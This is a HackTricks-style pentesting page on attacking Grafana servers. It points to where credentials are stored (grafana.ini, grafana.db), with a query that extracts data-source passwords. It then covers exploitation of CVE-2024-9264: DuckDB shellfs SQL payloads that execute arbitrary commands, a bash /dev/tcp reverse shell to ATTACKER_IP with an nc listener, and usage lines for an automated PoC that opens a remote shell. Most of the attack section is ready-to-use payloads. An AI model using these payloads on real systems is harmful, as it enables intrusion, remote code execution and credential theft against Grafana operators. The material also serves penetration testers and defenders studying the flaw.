Grafana

Reading time: 4 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Interesting stuff

  • The file /etc/grafana/grafana.ini can contain sensitive information such as admin username and password.
  • Inside the platform you could invite people or generate API keys (might need to be admin)
  • You could check which plugins are installed (or even install new)
  • By default it uses SQLite3 database in /var/lib/grafana/grafana.db
    • select user,password,database from data_source;

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.

Impact

  • Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.
  • Preconditions commonly met in real deployments:
    • SQL Expressions enabled: expressions.enabled = true
    • duckdb binary present in PATH on the server

Quick checks

  • In the UI/API, browse Admin settings (Swagger: /swagger-ui, endpoint /api/admin/settings) to confirm:
    • expressions.enabled is true
    • Optional: version (e.g., v11.0.0 vulnerable), datasource types, etc.
  • Shell on host: which duckdb must resolve for the exploit path below.

Manual query pattern using DuckDB + shellfs

  • Abuse flow (2 queries):
    1. Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
    2. Read back the temp file using read_blob

Example SQL Expressions payloads that get passed to DuckDB:

sql
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files.

One-liner reverse shell example

bash
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Embed that as CMD in the first query while you have a listener: nc -lnvp 443.

Automated PoC

Usage example

bash
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
  -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
  http://grafana.target

If output shows uid=0(root), Grafana is running as root (common inside some containers).

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks